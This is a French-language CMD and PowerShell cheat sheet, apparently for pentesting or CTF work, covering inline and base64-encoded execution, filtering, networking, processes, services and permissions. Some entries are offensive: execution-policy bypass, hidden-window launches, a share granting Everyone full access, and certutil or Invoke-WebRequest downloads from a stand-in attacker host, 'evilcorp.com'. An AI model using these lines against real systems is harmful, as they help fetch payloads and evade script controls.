CMD \ Powershell cheatsheet

Tips

Exécution Inline
cmd /c "<command>"
powershell -c "<command>"
powershell -encodedCommand <UTF-16LE base64 command>
powershell -enc <UTF-16LE base64 command>
powershell -e <UTF-16LE base64 command>

Encodage de la commande :

PS> $Text = 'echo hello'
PS> $EncodedText = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($Text))
PS> $EncodedText
Afficher le contenu d’un fichier
type <file/path>
Grep
<command> | FindStr <string>

Execution Policy

Par défaut Windows interdit l’éxécution de script .ps1 . Pour vérifier que l’option de sécurité est configuré sur “Restricted” vous pouvez lancer la commande suivante :

PS C:\Users\lun> Get-ExecutionPolicy
Restricted

Il est possible de désactiver cette option lors du lancement d’un script (Bypass Execution Policy) :

PS C:\Users\lun> Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy Bypass
PS C:\Users\lun>  powershell -ep bypass -File script.ps1
PS C:\Users\lun>  powershell -ExecutionPolicy Bypass -File script.ps1

NoExit

Par défaut, lorsque le processus powershell a fini d’exécuter un script, ce dernier se ferme (exit). Pour lui spécifier qu’il doit rester actif (alive) nous pouvons utiliser l’option -NoExit :

PS C:\Users\lun>  powershell -ExecutionPolicy Bypass -NoExit -File script.ps1

Formatage / Filtre

Filtrer les champs
<command> | select Field1, ... , Field5
Field1  :  Value   
Field2  :  Value   
Filtrer les colonnes
<command> | Format-Table Field1, Field2
Field1  Field2
------  -------
Value   Value
Value   Value 
Value   Value 
Selectionner les attributs
<command> -properties Field1, ... , Field5
Field1  :  Value   
Field2  :  Value   

Réseau

Requête Http
Invoke-WebRequest https://google.com
Requête Http + Proxy
Invoke-WebRequest http://google.com -ProxyUseDefaultCredentials -Proxy http://192.168.1.2:9999
Tester un port
Test-NetConnection -ComputerName 127.0.0.1 -Port 9999
Partage de fichier

Créer un share accessible à tout le monde :

New-SmbShare -Name <name> -Path "<absolute\path>" -FullAccess "Tout le monde"
New-SmbShare -Name <name> -Path "<absolute\path>" -FullAccess "Everyone" 

Lister les shares :

Get-SmbShare
Téléchargement
Invoke-WebRequest -OutFile file.txt -Uri http://evilcorp.com/file.txt
iwr -outf file.txt -Uri http://evilcorp.com/file.txt
certutil.exe -urlcache -f http://evilcorp.com/file.txt file.txt
Webclient
$WC=New-Object System.Net.WebClient;
$WC.Headers.add("<header-1>","<value-1>");
$WC.Headers.add("<header-2>","<value-2>");
$DATA=$WC.DownloadData("<url>");

Logiciels

Lister les logiciels installés

La commande wmic product ne renvoie pas nécessairement tous les programmes installés. Selon la manière dont certains programmes ont été installés, ils peuvent ne pas être listés.

wmic product get name,version,vendor

Processus

Chemin du binaire du processus
Get-Process <nom_processus> -FileVersionInfo
Lancer un processus
Start-Process -FilePath <chemin\binaire> -ArgumentList "<arguments>"
Start-Process -FilePath <chemin\binaire> -ArgumentList "<arguments>" -WindowStyle hidden
Tuer un processus
taskkill /IM <nom_processus> /F 
Stop-Process -ID <PID> -Force
Stop-Process -Name <nom_processus> -Force

Services

Lister les services actifs
ps
Get-Service | Where-Object {$_.Status -eq “Running”}
wmic service get startname,name,pathname
Démarrer/Arrêter un service
sc.exe start <service-name>
sc.exe stop <service-name>

Tâches planifiées

Lister les tâches
Get-ScheduledTask
Information sur une tâche
Get-ScheduledTaskInfo <nom_tache>

Droits

Devenir propriétaire d’un fichier/dossier
takeown /f <file/path>
Obtenir Permissions/ACLs d’un objet
icacls <file/path>
(Get-Acl -Path "C:\Windows\<file/folder>").access
Get-Acl -Path "AD:\<AD-object-DN>"

Forensique

Recherche de fichiers par nom
where /R C:\Users *flag*.txt
dir /s *foo*

Message Box

msg $env:UserName <message>

Help

Page d’aide d’une commande cmdlet
Get-Help <command>
Listes des commandes cmdlets disponibles
Get-Command
Lister les attributs d’un objet cmdlet
<command> | Get-Member